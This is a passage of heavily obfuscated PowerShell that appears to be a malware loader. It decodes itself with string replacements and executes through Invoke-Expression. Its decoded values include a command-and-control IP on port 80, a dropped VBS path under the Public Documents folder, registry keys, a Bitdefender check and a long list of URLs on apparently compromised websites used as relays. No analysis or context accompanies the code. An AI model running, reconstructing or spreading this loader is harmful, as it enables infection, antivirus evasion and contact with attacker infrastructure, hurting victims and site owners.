("{7}{9}{1}{6}{4}{2}{3}{8}{5}{0}"-f 'aspx?c=','www.asan-','i','cle','/art','/large/css.','max.com/files','h','s','ttp://'),
("{7}{0}{4}{5}{1}{3}{6}{2}" -f '//ww','.com/mic_c','php?c=','at','w.miteg','en','alog.','http:'),
("{7}{6}{3}{4}{1}{8}{5}{10}{2}{11}{9}{0}"-f'x?c=','g','/','p://m','a','cal-ene','t','ht','i','.asp','rgy.com/css','css'),
("{1}{0}{6}{5}{11}{3}{7}{10}{4}{9}{12}{2}{8}"-f'.','http://www','?','a','o','e','pom','t','c=','rg/','es.','gran','index.php'),
("{0}{6}{5}{8}{2}{7}{4}{3}{1}" -f'h','?c=','com/c','x','.asp','://magical','ttp','ss','-energy.'),
("{0}{3}{1}{5}{6}{4}{2}" -f 'h','//www','?c=','ttp:','s.hr/index.php','.a','utotran'),
("{3}{2}{6}{4}{7}{0}{1}{5}" -f 'om/c','s','//riya','http:','hfood','s/edu.aspx?c=','d','s.c'),
("{1}{8}{2}{6}{0}{3}{10}{9}{12}{5}{11}{7}{4}"-f 'ls','ht','ps','c','=','a','://skeptica','s.php?c','t','e.','ienc','phic','com/gr'),
("{1}{9}{6}{5}{3}{10}{12}{2}{8}{4}{11}{7}{0}" -f 'ry.aspx?c=','http:','ue','hfoo','-ui','ad','y','js/jque','ry','//ri','ds.com','/','/jq'),
("{1}{6}{7}{3}{0}{8}{4}{5}{9}{2}" -f 'u/','ht','=','mclub.e','a','ta.','tp:/','/t','clubd','php?c'),
("{4}{9}{1}{2}{5}{7}{3}{8}{6}{0}" -f 'c=','krooan','n.com','r','http://www','/inc/w','.php?','o','k','.kun'),
("{6}{2}{3}{8}{4}{0}{5}{1}{7}"-f'p.p','c','t','p://www.zt','w.pl/po','hp?','ht','=','m.wa'),
("{0}{11}{5}{12}{7}{10}{6}{9}{2}{1}{3}{4}{8}{13}"-f 'http://','nts','ompone','/com_ak','eeb','ool.','o','uliparwa','a/wo','m/c','rda.c','sch','s','rk.php?c='),
("{4}{1}{0}{2}{3}{7}{5}{8}{6}"-f 'w','tp://','ww.mackellars','creenworks.com/','ht','rk.php','=','wo','?c'),
("{13}{0}{10}{3}{2}{1}{11}{9}{12}{8}{5}{6}{4}{14}{7}" -f 'tt','w','l.sulipar','o','or','editors/codemirror/','w','hp?c=','/','lu','p://scho','arda.com/p','gins','h','k.p'),
("{9}{3}{0}{1}{7}{6}{8}{4}{5}{2}"-f'www','.arca','rk.php?c=','tp://','m/','wo','rea','dec','tive.co','ht')
)
('7Up{iP} = (tnY{4}{2}{3}{1}{0}tnY-fB5d60B5d,B5d131:80B5d,B5dtB5d,B5dp://148.251.204.B5d,B5dhtB5d)
7Up{iD} = B5dB5d
7Up{Cs} = 1024
7Up{m} = (tnY{0}{1}{2}tnY-fB5dbmxDB5d,B5dJY+B5d,B5d=B5d)
7Up{R} = ('+'((B'+'5d@*B5d+B5dFxz(B5d+B5d)B5d+B5dxCf[B5d+B5d_B5d) -crEPlaCe B5dFxzB5d,[char]36 -RePlACe ([char]120+[char]67+[char]102),[char]124))
7Up{tP2zSK} = (((tnY{2}{7}{10}{3}{11}{4}{1}{12}{5}{6}{9}{0}{8}tnY-fB5deB5d,B5d6DocuB5d,B5dC:EC6B5d,B5dC6PublB5d,B5dCB5d,B5dCB5d,B5d6sB5d,B5dUserB5d,B5dm.vbsB5d,B5dystB5d,B5'+'dsEB5d,B5d'+'icEB5d,B5dment'+'sEB5d)).tnYREP2zpLAcEtnY(([ChAR]69+[ChAR]67+[ChAR]54),B5dXQIB5d))
7Up{S_P2zpath} = (((tnY{3}{1'+'}{0}{'+'2}{4}'+'tnY-f B5ds{0B5d,B5d}UserB5d,B5d}PubliB5d,B5dC:{0B5d,B5dc{0}DocumentsB5d)) -F [ChaR]92)
7Up{cP2zmd} = B5dB5d
7Up{urP2zLP2z_SP2zeP2zRilIzE} = B5dB5d
7Up{alL_UP2zRL} = B5dB5d
7Up{P'+'} = (('+'(tnY{0}{3}{1}{2}{5}{6}{4}tnY-f B5dHKCUB5d,B5dftB5d,B5dwaB5d,'+'B5d:CojSoB5d,B5djB5d'+',B5dreCB5d,B5doB5d)).tnYRepLaP2zCEtnY(([chAr]67+[chAr]111+[chAr]106),[sTRinG][chAr]92))
7Up{LocaP2zL'+'P2zmacP2zHINE} = ('+'((tnY{0}{1}{2}{3}{4}tnY-f B5dHKLB5d,B5dM:QkOSB5d,B5dofB5d,B5dt'+'B'+'5d,B5dwareQkOB5d)) -RePlAcE B5dQkOB'+'5d,[CHAr]92)
7Up{K} = (tnY{0}{1}{3}{2}tnY-f'+'B5dBit'+'B5d,B5dDB5d,B5dfenderB5d,B5diB5d)
7Up{pRP2zOxY} = @(
(tnY{6}{7}{10}{5}{11}{15}{1}{12}{2}{14}{'+'9}{0}{4}{3}{8}{13}tnY -fB5dwordpress-imB5d,B5dsaB5d,B5dontent/pB5d,B5dorterB5d,B5dpB'+'5d,B5diplomatB5d,B5dhttpB5d,B5d:B5d,B5d/B5d,B5dugins/B5d,B5d//dB5d,B5d.comB5d,B5d/wp-cB5d,B5dc'+'ache.php?c=B5d,B5dlB5d,B5d.B5d),
(tnY{5}{4}{2}{6}{1}{8}{7}{0}{3}tnY-fB5d?B5d,B5drB5d,B5d'+'ajacksoB5d,B5dc=B5'+'d,B5dtp:/'+'/www.vanessB5d,B5dhtB5d,B5dn.co.uk/w'+'oB5d,B5dphpB5d,B5dk.B5d),
('+'tnY{7}'+'{3}{5}{1}{6}{4}{0}{2}t'+'nY -fB5d/work.pB5d,B5d-traB5d,B5dhp?c=B5d,'+'B5dpB5d,B5domB5d,B5dear'+'headB5d,B5din'+'ing.cB'+'5d,B5dhttps://www.sB5d),
(tnY{0}{8}{10}{5}{13}{4}{2}{11}{6}{3}{'+'7}{12}{1}{9}tnY -f B5dhB5d,B5dom/vB5d,B5'+'digeB5d,B5dielB5d,B5dnB5d,B5d://B5d,B5dhitfB5d,B5ddB5d,B5dttB5d,B5d2/work.php?c=B5d,B5dpB5d,B5dlwB5d,B5d.cB5d,B5dwww.B5'+'d),
(tnY{6}{0}{4}{8}{7}{2}{3}{9}{5}{1}{10}tnY-fB5d//B5d,B5dp?cB5d,B5dl/powB5d,B5deB5d,B5dwww.spearhead-trainB5d,B5dhB5d,B5dhttps:B5d,B5dmB5d,B5ding.com//htB5d,B5dr'+'.pB5d'+',B5d=B5d),
(tn'+'Y{0}'+'{3}{6}{5}{7}{4}{'+'2}{1}tnY-fB5dhttB5d,B5dhp?c=B5d,B5d.pB5d,B5dp://wwB5d,B5dhow-workB5d,B5dlev8tor.cB5'+'d,B5dw'+'.eB5d,B5dom/sB5d),
(tnY{9}{11}{5}{8}{12}{0}{10}{4}{2}{1}{7}{3}{6}tnY-f B5dgr.nB5d,B5dce/lib/B5d,B5d-offiB5d,B5dork.phpB5d,B5dh/eB5d,B5datyB5d,B5d?c=B5d,B5dwB5d,B5danB5d,'+'B5dhttp://B5d,B5dfe.go.tB5d,B5dwB5d,B5daB5d),
(tnY{1}{5}{7}{3}{8}{0}{9}{2}{4}{6}tnY -fB5d.cB5d,B5dhttp://mB5d,B5drk.'+'B5d,B5da'+'B5d,B5dphp?cB5d,B5daiB5d,B5d=B5d,B5dnB5d,B5dndstrandB5d,B5dom/woB5d),
(tnY{9}'+'{1}{5}{0}{6}{2}{8}{7}{10}{4}{3}tnY -f B5dth/watB5'+'d,B'+'5dtpB5d,B5dnaB5d,B5dc=B'+'5d,B5dwer.php?B'+'5d,B5d://watyanagr.nfe.go.B5d,B5dyaB5d,B5drB5d,B5dgB5d,B5dhtB5'+'d,B5d/poB5d),
(tnY{7}{2}{1}{0}{3}{4}{6}{5}tnY-f B5d.jdarchs.com'+'B5d,B5dwB5d,B5dwB5d,B5d/B5d,B5d'+'woB5d,B5d.php?c=B5d,'+'B5drkB5d,B5dhttp://wB5d),
(tnY{1}{4}{7}{0}{5}{'+'10}{12}{14}{6}{8}{11}{2}{9}{3}{13}tnY-fB5d//wwwB5d,B5dhttB5d,B5drkB5d,B5dp?cB5d,B5d'+'pB5d,B5d.akhtaB5d,B5dileB5d,B5d:B5d,B5d/sB5d,B5d.phB5d,B5dredanesh.coB5d,B5d'+'ym/woB5d,B5dmB5d,B5d=B5d,B5d/d/fB5d),
(tnY{8}{5}{4}{0}{7}{2}{6}{1}{3}tnY-f B5d87.38B5d,B5dork.php'+'?B5d,B5dhort_qrB5d,B5dc=B5d,B5d//106.1B5d,B5'+'dtp:B5d,B5d'+'/wB5d,B5d.2'+'1/sB5d,B5dhtB5d)'+',
(tnY{11}{5}{3}{4}{10}{0}{12}{1}{9}{2}{6}{7}{8}tnY-f B5desh.com/d/osB5d,B5dhoB5d,B5dl/pB5d,B5dkB5d,B5d'+'htareB5d,B5dttp://www.aB5d,B5dower.phpB5d,B5d?B5d,B5dc=B5d,B5doB5d,B5ddanB5d,B5dhB5d,B5dcB5d),
(tnY{3}{6}{12}{10}{11}{5}{4}{0}{2}{1'+'}{8}{9}{7}tnY -f B5decreatiB5d,B5dm/wB5d,B5dve.coB5d,B5dhB5d,B5dadB5d,B5darcB5d,B5dtB5d,B5d.php?c=B5d,B5doB5d,B5drkB5d,B5dp://wwB5d,B5dw.B5d,B5dtB5d),
(tnY{1}{11}{8}{6}{0}{1'+'0}{7}{'+'3}{5}{9}{4}{2}tnY-fB5dp-includB5d,B5dhttp:/B5d,B5dhp?c=B5d,B'+'5ddgetB5d,B5'+'d.pB5d,B5ds/worB5d,B5dbr/wB5d,B5d/wiB5d,B5dexbrasilia.com.B5d,B5dkB5d,B5desB5d,'+'B5'+'d/cbpB5d),
(tnY{4}{1}{3}{0}{5}{2}tnY-f B5dowB5d,B5dtp://whiver.inB5d,B5d?c=B5d,B5d/pB5d,B5dhtB5d,B5'+'der.phpB5d),
(tnY{11}{1}{12}{3}{7}{10}{6}{9}{0}{8}{4}{5}'+'{2}tnY-f B5drdpress-seo/B5d,B5d://cB5d,B5dphp?c='+'B5d,B5d/wpB5d,B5dowerB5d,B5d.B5d,B5d/p'+'lugB5d,B5d-contenB5d,B5dpB5d,B5dins/woB5d,B5dtB5d,B5dhttpB5d,B5dbpexbrasilia.com.brB5d)
(tnY{2}{4}{0}{1}{3}{5}tnY -f B5dhB5d,B5dat.B5d,B5dhttB5d,B5deu/log'+'s.phpB5d,B5dp://feribscB5d,B'+'5d?c=B5d),
(tnY{11}{2}{12}{6}{0}{9}'+'{13}{8}{4}{10}{1}{3}{5}{14}{7}tnY -fB5dipB5d,B5dugB5d,B5dtB5d,B5dins/wpdB5d,B5d.com/wB5d,B'+'5dataB5d,B5dsulB5d,B5dp?c=B5d,B5drdaB5d,B5darwB5d,B5dp-content/plB'+'5d,B5dhtB5d,B5dp://azmwn.B5d,B5daB5d,B5dtables/panda.phB5d),
(tnY{8}{0}{5}{9}{3}{1}{2}{6}{4}{7}tnY -fB5dttB5d,B5dcoB5d,B5dmB5d,B5dic.B5d,B5dp?cB5d,B5dp://www.armahoB5d,B5d/list.phB5d,B'+'5d=B5d,B5dhB5d'+',B5dlB5d),
(tnY{13}{8}{0}{11}{10}{'+'1}{12}{7}{2}{6}{14}{9}{3}{5}{4}tnY -fB5dwB5d,B5dparwB5d,B5dcom/wp-B5d,B5difB5d,B5den/logs.php?c=B'+'5d,B5dteB5d,B5dcoB5d,B5dda.B5d,B5d//azmB5d,B5dyfB5d,B5d.suliB5d,B5dnB5d,B5darB5d,B5dhttp:B5d,B5dntent/themes/twentB5d),
(tnY{4}{9}{10}{3}{2}{'+'5}{8}{1}{7}{0}{6}tnY-f B5dalt.pB5d,B5daspB5d,B5dorB5d,B5dpa.B5d,B5dhttpB5d,B5dgB5d,B5d'+'hp?c=B5d,B5dhB5d,B5d/B5d,B5d://wwwB5'+'d,B5d.eaB5d),
(tnY{11}{10}{14}{6}{9}{15}{2}{8}{1}{3}{7}{0}{4}{12}{5}{1'+'3}tnY -f B5ds/B5d,B5dlugB5d,B5donteB5d,B5diB5d,B5dentryB5d,B5dpB5d'+','+'B5darda.coB5d,B5dnB5'+'d,B5dnt/pB5d,B5dm/wp-'+'B5d,B5d//sulB5d,B5dhttp:B'+'5d,B5d-views/work.B5d,B5dhp?c=B5d,B5diparwB'+'5d'+',B5'+'dc'+'B5d),
(tnY{14}{5}{9}{10}{8}{11}{0}{3}{1}{12'+'}'+'{4}{6}{13}{7}{2}tnY-fB5doB5d,B5d.oB5d,B5d=B5d,B5drldB5d,B5datB5d'+',B5dhB5d,B5deB5d,B5dhp?cB5d,B5dmorroB5d,B5dapingB5d,B5dtoB5d,B5dwswB5d,B5drg/cB5d,B5dgory.pB5d,B5dhttp://www.sB5d),
(tnY{1}{9}{0}{4}{7}{10}{2}{3}{6}{8}{5}{11}tnY-fB5diparwarB5d,B5dhB5d,B5ds/twentyB5d,B5dfiB5d,B5ddB5d,B5dhp?cB5d,B5dftB5d,B5daB5'+'d,B5deen/work.pB5d,B5dttp://sulB5d,B5d.com/wp-content/t'+'hemeB5d,B5d=B5d),
(tnY{7}{8}{3}{4}{5}{9}{1}{6}{2}{0}{10}tnY -fB5dkers.pB5d,B5dorgB5d,B5daB5d,B5dtB5d,B5dp://banB5d,B5dgortalkB5d,B5d.uk/speB5d,B5'+'dhB5d,B5dtB5d,B5d.B5d,B5dhp?c=B5d),
(tnY{4}{2}{11}{9}{6}{8}{1}{0}{3}{5}{10}{12}{7}tnY-f B5dcludes/custB5d,B5di'+'nB5d,B5dps://wallB5d,B5doB5d,B'+'5dhttB5d,B5dmize/logs.B'+'5d,B5d.coB5d,B5d=B5d,B5dm/wp-B5d,B5dercaseB5d,B5dpB5d,B5dpapB5d,B5dhp?cB5d),
('+'tnY{1}{6}{2}{4}{3}{5}{9}{8}{7}{0}tnY-f B5dhp?c=B5d,B5dhB5d,B5dw'+'B5d,B5didefoxB5d,B5dw.rB5d,B5d.com/B5d,B5dttp://wB5d,B5dt.pB5d,B5dten'+'B5d,B5dconB5d),
(tnY{13}{16}{4}{3}{15}{12}{9}{0}{5}{1'+'7}{11}{8'+'}{1}{14}{7}{18}{2}{6}{10}tnY -f B5d-co'+'nteB5d,B5dtB5d,B5de'+'en'+'/lB5d,B5dlB5d,B5dps://walB5d,B5dnB5d,B5dogs.phpB5d,B5difB5d,B5ds/B5d,B5dercase.com/wpB5d,B5d?c=B5d,B5deB5d,B5dapB5d,B5dhtB5d,B5dwentyfB'+'5d,B5dpB5d,B5dtB5d,B5dt/themB5d,B5dtB5d),
(tnY{4}{'+'9}{8}{6}{3}{1'+'}{2}{'+'7}{0}{5}tn'+'Y-fB5dionB5d,B5d/B5d,B5dpB5d,B5dgB5d,B5dhttpB5d,B5d.php?c=B5d,B5dcks.orB5d,B5dublicatB5d'+',B5da.induB5d,B5ds://coB5d),
(tnY{10}{16}{6}{8}{2}{7}{1}{3}{18}{0}{4}{9'+'}{5}{12}'+'{11}{13}{17}{15}{14}'+'tnY -'+'f B5duB5d,B5dwp-B5d,B5dyaran.cB'+'5'+'d,B5dconB5d,B5dgB5'+'d,B5do-ma'+'B5d,B5d://w'+'wB5d,B5do//B5d,B5dw.B5d,B5dins/sB5d,B5dhB'+'5d,B5do'+'nry/logs.B5d,B5dsB5d,B5dpB5d,B5dc=B5d,B5d?B5d,B5dttpB5d,B5dhpB5d,B5dtent/plB5d),
(tnY{3}{9}{1}{4}{2}'+'{6}{8}{7}{0}{5}tnY-f B5dews.phB5d,B5d/wB5d,B5d.dafB5d,B5dhtB5d,B5dwwB5d,B5dp?c=B5d,B5dc.co.uB5d,B5d/nB5d,B5dkB5d,B5dtp:/B5d),
(tnY'+'{5}{9}{3}{4}{8}{2}{6}{7}{0}{1}tnY -fB5d/widgets/logs.php?cB5d,B5d=B5d,B5duB5d,B5daranB5d,B5d.co/wp-iB5d,B5dhttp://www.B5d,B5ddeB5d,B5dsB5d,B5dnclB5'+'d'+',B5dyB5d),
(tnY{5}{0}{2}{3}{4}{1}{7}{6'+'}tnY-f B5dps://mhtevB5d,B5dcom/account.phpB5d,B5denB5d,B5dtsB5d,B5d.B5d,B'+'5dhttB5d,B5d=B5d,B5d?cB5d),
(tnY{7}{3}{2}{0}{4}{8}{1}{6}{5}tnY -f B5dmax.'+'com/fiB5d,B5diclesB'+'5d,B5d-B5d,B5d.asanB5d,B5dleB5d,B5dspx?c=B5d,B5d/css.aB5d,B5dhttp://wwwB5d,B5ds/artB5d),
'+'(tnY{2}{3}{4}{9}{7}{6'+'}{8}{'+'10}{0}{5}{1}tnY -f B5db'+'/browse_'+'caB5d,B5d.php?c=B5'+'d,B5dhtB5d,B5dtp:/B5d,B5d/best2.B5d,B5dtB5d,B5dnfeB5d,B5dcoB5d,B5dreB5d,B5dthebestB5d,B5dnce.org/ccB5d),
(tnY{7}{9}{1}{6}{4}{2}{3}{8}{5}{0}tnY-f B5daspx?c=B5d,B5dwww.asan-'+'B5d,B5diB5d,B5dcleB5d,B5d/artB5d,B5d/large/css.B'+'5d,B5dmax.com/filesB5d,B5dhB5d,B5dsB5d,B5dttp://B5d'+'),
(tnY{7}{0}{4}{5}{1}{3}{6}{2}tnY -f B5d//w'+'wB5d,B5d.com/mic_cB5d,'+'B5dphp?c=B5d,B5datB5d,'+'B5dw.mitegB5d,'+'B5denB5d,B5dalog.'+'B5d,B5dhttp:B5'+'d),
(tnY{7}{6}{3}'+'{4}{1}{8}'+'{5}{10}{2}{11}{9}{0}tnY-fB5dx?c=B5d,B5dg'+'B5d,B5d/'+'B5d,B5dp://mB5d,B5daB5d,B5dcal-eneB5d,B5dtB5d'+',B5dhtB5d,B5diB5d,B5d.aspB5d,B5drgy.com/cssB5d,B5dcssB5d),
(tnY{1}{0}{6}{5}{11}{3}{7}{10}{4}{9}{12}{2}{8}tnY-fB5d.B5d'+',B5dhttp://wwwB5d,B5d?B5d,B5daB5d,B5doB5d,B5deB5d,B5dpomB5d,B5dtB5d,B5dc=B5d,B5drg/B5d,B5des.B5d,B5dgranB5d,B5dindex.phpB5d),
(tnY{0}{6}{5}{8}{2}{7}{4}{3}{1}tnY -fB5dhB5d,B5d?c=B5d,B5dcom/cB5d,B'+'5dxB5d,B5d.aspB5'+'d,B5d://magicalB5'+'d,B5dttpB5d,B5dssB5d,B5d-e'+'nergy.B5d),
(tnY{0}{3}{1}{5}{6}{4}{2}tnY -f B5dhB5d,B5d//wwwB5d,B5d?c=B5d,B5dttp:B5d'+',B5ds.hr/index.phpB5'+'d,B5d.aB5d,B5dutotranB5d),
(tnY{3'+'}{2}{6}{'+'4}{7}{0}{1}{5}'+'tnY -f B5d'+'om/cB5d,B5dsB5d,B5d//riyaB5d,B5dhttp:B5'+'d,B5dhfoodB5d,B'+'5ds/edu.aspx?c=B5d,B5ddB5d,B5ds.cB5d),
(tnY{1}{8}{2}{6}{0}{3}{10}{9}{12}{5}{11}{7}{4}tnY-f B5dlsB5d,B5dhtB5d,B5dpsB5d,B5dcB5d,B5d=B5d,B5daB5d,B5d://skept'+'icaB5d,B5ds.php?cB5d,B'+'5dtB5'+'d,B5de.B5d,B5diencB'+'5d,B5dphicB5d,B5dcom/grB5d),
(tnY{'+'1}{9}{6}{'+'5}{3}{10}{12}{2}{8}{4}{11}{7}{0}tnY -f B5dry.aspx?c=B5d,B5'+'dhttp:B5d,B5dueB5d,B5dhfooB5d,B5d-uiB5d,B5dadB5d,B5dyB5'+'d,B5djs/jqueB5d,B5dryB5d,B5d//riB5d,B5'+'dds.comB5d,B5d/B5d,B5d/j'+'qB5d),
(tnY{1'+'}{6}{7}{3}{0}{8}{4}{5}{9}{2}tnY -f B5d'+'u/B5d,B5dhtB5d,B5d=B5d,B5dmclub.eB5d,B5d'+'aB5d,B5dta.B5d,B5dtp:/B5d,B5d/tB5d,'+'B5dclubdB5d,B5dphp'+'?cB5d),
'+'(tnY{4}{9}{1}{2}{5}{7}'+'{3}'+'{8}{6}{0}tnY -f B5dc='+'B5d,B5dkrooan'+'B5'+'d,B5dn.comB5d,B5drB5d,B5dhttp://wwwB5d,B5d/inc/wB5d,B5d.php?B5d,B5doB5d,B5dkB5d,B5d.kunB5d),
(tnY{6}{2}{3}{8}{4}{0}{5}'+'{1}'+'{7'+'}tnY-fB5'+'dp.pB5d,B5dcB5d,B5dtB5d,B5dp://www.ztB5d,B5dw.p'+'l/poB5d,B5dhp?B5d,B5dhtB5d,B5d=B5d,B5dm.w'+'aB5d),
(tnY{0}{11}{5}{12}{7}{10}{6}{9}{2}{1}{3}{4}{8}{13}tnY-f B5dhttp://B5d,B5dntsB5d,B5domponeB5d,B5d/com_akB5d,B5deebB5'+'d,B5dool.B5d,B5doB5d,B5duliparwaB5d,B5da/woB5d,B5dm/cB5d,B5drda.cB5d,B5dschB5d,B5dsB5d,B5drk.php?c=B5d),
(tnY{4}'+'{1}{0}{2}{3}{7}{5}{8}{6}tnY-f B5dwB5d,B5dtp://B5d,B5dww.mackellarsB5d,B5dcree'+'nwo'+'rks.com/B5d,B5dhtB5d,B5drk.phpB5d,B5d=B5d,B5dwoB5d,B5d?cB5d),
(tnY{13}{0}{10}{3}{2}{1}{11}{9'+'}{12}{8}{5}{6}{4}{14}{7'+'}tnY -f B5dttB5d,B5dwB5d,B5dl.suliparB5d,B5doB5d,B5dorB5d,B5ded'+'itors/codemirror/B5d,B5dwB5d,B5dhp?c=B5d,B5d/B5d,B5dluB5d,B5dp://s'+'choB5d,B5darda.com/pB5d,B5dginsB5d,B5dhB5d,B5dk.pB5d),
(tnY{9}{3}{0}{1}{7}{6}{8}{4}{5}{2}tnY-fB5dwwwB5d,B5d.arcaB5d,B5drk.php?c=B5d,B5dtp://B5d,B5dm/B5d,B5dwoB5d,B5dre'+'aB5d,B5ddecB5d,B5dtive.coB5d,B5dhtB5d)
)
').REpLaCE(([chaR]80+[chaR]50+[chaR]122),'`').REpLaCE('7Up',[StriNG][chaR]36).REpLaCE(([chaR]88+[chaR]81+[chaR]73),[StriNG][chaR]92).REpLaCE('tnY',[StriNG][chaR]34).REpLaCE('B5d',[StriNG][chaR]39)| .( $ENV:pUBlic[13]+$enV:PublIC[5]+'X')